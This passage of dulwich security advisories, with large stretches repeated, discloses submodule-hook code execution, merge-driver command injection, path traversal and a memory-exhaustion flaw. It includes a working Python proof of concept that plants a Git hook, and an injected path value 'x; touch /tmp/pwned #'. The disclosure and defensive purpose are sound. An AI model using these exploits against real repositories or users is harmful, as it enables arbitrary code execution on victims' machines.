vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

